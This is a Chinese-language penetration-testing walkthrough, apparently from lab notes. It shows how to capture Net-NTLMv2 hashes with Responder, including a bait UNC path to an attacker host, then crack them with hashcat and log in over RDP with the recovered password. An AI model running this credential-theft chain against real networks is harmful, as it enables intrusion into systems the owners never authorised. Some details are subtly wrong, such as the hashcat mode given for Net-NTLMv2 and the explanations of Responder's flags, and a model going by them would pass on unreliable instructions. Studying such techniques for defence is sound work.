渗透测试实战：获取并破解 Net-NTLMv2 哈希

①命令 1：whoami - 身份确认

whoami

②命令 2：net user - 权限分析

使用 net user 检查用户 paul 的基本信息，以及所属的组。

net user paul

输出示例：

用户名称            paul
全名                Paul User
注释                
用户注释            
国家/地区           (默认)
用户属性            
账号激活            是
账号到期            从不
上次设置密码        2023/10/01 10:00:00
密码过期            从不
密码可更改          从不
密码必须更改        从不
本地组成员          Administrators
全局组成员          None
...

通过上述信息，可以确认该用户属于本地管理员组，具备较高的权限潜力。接下来我们将尝试获取其凭证哈希。

1.1.3.4 诱导目标主机触发 SMB 认证捕获 Net-NTLMv2 哈希

1.攻击流程概述

利用 Responder 工具监听局域网内的广播请求（如 WSD, LLMNR, NBT-NS），当目标主机尝试访问共享资源时，会发送 NTLM 挑战 - 响应包，从而被捕获。

2.Kali 准备

启动 Responder 服务，指定网卡接口（例如 eth0）：

sudo responder -I eth0 -wrf

参数说明：

• -I: 指定网卡
• -w: 强制将 HTTP 重定向到 SMB
• -r: 强制将 HTTP 重定向到 NTLM
• -f: 忽略代理配置

3.目标系统触发认证

在目标主机上尝试访问一个不存在的共享路径，或者点击诱饵链接（如 \\attacker_ip\share）。

4.Responder 捕获结果

Responder 终端将显示捕获到的哈希信息：

[+] Listening for events...
[+] NTLMv2-SSP Client   : 192.168.50.211
[+] NTLMv2-SSP Username : FILES01\paul
[+] NTLMv2-SSP Hash     : paul::FILES01:aad3b435b51404eeaad3b435b51404ee:1122334455667788...:...

复制哈希值保存至文件 hash.txt。

1.1.3.5 破解 Net-NTLMv2 哈希

1.破解步骤

使用 Hashcat 进行离线暴力破解。Net-NTLMv2 对应的 Hashcat 模式为 5500。

2.保存哈希到文件并确定 hashcat 模式

确保 hash.txt 格式正确，每行一个哈希。

3.执行破解命令

hashcat -m 5500 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

若字典破解失败，可尝试混合模式或规则模式：

hashcat -m 5500 -a 3 hash.txt ?l?l?l?l?l?l?l?l

等待破解完成，Hashcat 会输出明文密码。

1.1.3.6 使用 paul 破解的密码明文 RDP 到远程计算机

获得明文密码后，可使用远程桌面协议连接目标主机。

xfreerdp /u:paul /p:CrackedPassword123 /v:192.168.50.211

成功登录后，即可获取目标系统的完整控制权。